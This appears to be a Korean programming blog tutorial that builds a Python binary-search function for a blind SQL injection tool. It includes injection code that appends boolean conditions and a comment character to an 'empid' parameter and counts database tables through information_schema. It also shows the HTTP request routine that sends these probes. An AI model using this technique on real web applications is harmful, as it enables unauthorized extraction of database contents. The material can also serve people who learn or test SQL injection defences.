[Python] 이진탐색 알고리즘 함수 구현하기

 이진탐색 알고리즘 함수  

블라인드 SQL 인젝션의 핵심 기법 중의 하나는 데이터를 효율적으로 검색하는 알고리즘입니다 . 

그중 가장 효율적인 이진 탐색 알고리즘 함수를 파이썬 코드로 구현 해 보겠습니다 . 

이진 탐색 알고리즘은 재귀함수를 이용하여 최종값이 선택 될 때 까지 지속적으로 균등 분할을 수행합니다 . 

(이진 탐색 범위를 ASCII 로 한정하면 0~127로 고정이 됩니다 .) 

이진 탐색 알고리즘 구현 순서

1. 이진 탐색은 최소 값과 최대 값 사이의 중간 값을 설정합니다 . 
2. 중간 값보다 큰지, 작은지 명제를 확인합니다 . 
3. 명제 확인결과 검색한 데이터가 찾고자 하는 최종 값인지 검증합니다 . 

간단하게 최대 값 또는 최소 값이 검색 결과 입니다 .

차이가 1 이상이라면 명제의 결과에 따라서 중간 값에서 최대 값 또는 최소 값에서 중간 값으로 설정하여 다시 자기 자신을 호출합니다 . 

이 작업은 최대 최소 값의 차이가 1이 될때 까지 반복합니다 . 

코드로 구현 하면 다음과 같습니다 . 

def BinarySearch(min,max,query):

    mid = (min + max)/2

    bResult=httpreq(query + ">" + str(mid))

    if((max -min)<=1):

        if(bResult):

            return max

        else:

            return min

       

    if(bResult):

        return BinarySearch(mid,max,query)

    else :

        return BinarySearch(min,mid,query)

이진 탐색 기법은 Error 기반 SQL 인젝터에서 사용했던 레코드 카운트 쿼리를 그대로 사용합니다 . 

일부 스크립트를 수정하면 이진 탐색 함수가 정상 동작하는지 알 수 있습니다.

정상 동작 여부 확인하기

가장 큰 수정 사항으로 Error 기반에서는 레코드 개수가 에러 메세지에 노출 되지만 블라인드 명제로 확인해야 하기 때문에 레코드 개수의 범위를 지정해서 해당 범위에 있는지 검색해야합니다 . 

DB 가 소형이라는 가정하에 범위는 1~1024로 지정하여 수행결과가 1024 라면 레코드의 개수가 1024개를 초과하거나 쿼리 구무느이 에러 발생 가능성을 의심할 수 있습니다 . 

수정 코드

rcount = "(select+count(*)+from+information_schema.tables+where+table_type='base+table')"

cnt = int(BinarySearch(1,1024,rcount))

print cnt

sys.exit()

실행결과

테스트 결과 정확한 레코드 개수가 출력되었습니다 . 

함수에 문제가 없다는 것을 알수 있습니다.

이진 탐색 함수 동작 확인하기

이진 탐색 함수의 동작을 확인하기위해 소스코드를 약간 수정합니다 . 

print 수정

    params = "empid=1+and+" + query + "%23"

    conn = httplib.HTTPConnection(domain,"80")

    print url + "?" + params

    conn.request("GET",url + "?" + params,None,headers)

결과

HTTP 요청문 확인 결과 중간 값을 선정하여 값이 큰지 확인하는 명제를 수행 하면서 계속 분기하는 것을 알 수 있습니다 .